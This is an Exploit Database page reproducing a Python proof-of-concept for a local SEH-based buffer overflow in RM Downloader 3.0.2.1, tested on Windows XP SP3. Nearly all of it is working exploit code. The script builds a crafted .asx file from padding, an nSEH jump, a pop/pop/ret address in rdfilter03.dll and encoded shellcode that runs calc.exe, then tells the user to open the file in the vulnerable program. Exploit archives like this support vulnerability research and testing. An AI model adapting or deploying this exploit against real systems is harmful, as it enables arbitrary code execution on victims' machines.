RM Downloader 3.0.2.1 – ‘.asx’ Local Buffer Overflow (SEH)

• Exploit Database
• 9 阅读

• 作者： b0telh0
  日期： 2010-03-30
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/11953/

• #!/usr/bin/python
  #
  # Title: RM Downloader 3.0.2.1 (.asx) Local Buffer Overflow (SEH)
  # Date: 03-29-2010
  # Author: b0telh0
  # Link: http://www.mini-stream.net/downloads/RMDownloader.exe
  # Tested on: Windows XP SP3
  
  
  #
  # windows/exec - 227 bytes
  # EXITFUNC=process, CMD=calc.exe
  #
  
  shellcode = ("\x29\xc9\xb1\x33\xda\xd3\xbd\x07\x4a\x9e\x37\xd9\x74\x24\xf4"
  "\x5b\x83\xc3\x04\x31\x6b\x0f\x03\x6c\x45\x7c\xc2\x8e\xb1\x09"
  "\x2d\x6e\x42\x6a\xa7\x8b\x73\xb8\xd3\xd8\x26\x0c\x97\x8c\xca"
  "\xe7\xf5\x24\x58\x85\xd1\x4b\xe9\x20\x04\x62\xea\x84\x88\x28"
  "\x28\x86\x74\x32\x7d\x68\x44\xfd\x70\x69\x81\xe3\x7b\x3b\x5a"
  "\x68\x29\xac\xef\x2c\xf2\xcd\x3f\x3b\x4a\xb6\x3a\xfb\x3f\x0c"
  "\x44\x2b\xef\x1b\x0e\xd3\x9b\x44\xaf\xe2\x48\x97\x93\xad\xe5"
  "\x6c\x67\x2c\x2c\xbd\x88\x1f\x10\x12\xb7\x90\x9d\x6a\xff\x16"
  "\x7e\x19\x0b\x65\x03\x1a\xc8\x14\xdf\xaf\xcd\xbe\x94\x08\x36"
  "\x3f\x78\xce\xbd\x33\x35\x84\x9a\x57\xc8\x49\x91\x63\x41\x6c"
  "\x76\xe2\x11\x4b\x52\xaf\xc2\xf2\xc3\x15\xa4\x0b\x13\xf1\x19"
  "\xae\x5f\x13\x4d\xc8\x3d\x79\x90\x58\x38\xc4\x92\x62\x43\x66"
  "\xfb\x53\xc8\xe9\x7c\x6c\x1b\x4e\x72\x26\x06\xe6\x1b\xef\xd2"
  "\xbb\x41\x10\x09\xff\x7f\x93\xb8\x7f\x84\x8b\xc8\x7a\xc0\x0b"
  "\x20\xf6\x59\xfe\x46\xa5\x5a\x2b\x25\x28\xc9\xb7\x84\xcf\x69"
  "\x5d\xd9");
  
  junk = "\x41" * 35072
  nseh = "\xeb\x1e\x90\x90"
  seh= "\x1F\xEA\x02\x10" # p/p/r at 0x1002EA1F [rdfilter03.dll]
  nops = "\x90" * 24
  junk2 = "\x41" * 4669
  
  try:
   file = open('b0t.asx','w');
   file.write(junk+nseh+seh+nops+shellcode+junk2);
   file.close();
   print "\n[+] b0t.asx created."
   print "[+] Open RmDownloader.exe..."
   print "[+] and load b0t.asx.\n"
  except:
   print "\n[-] Error.. Can't write file to system.\n"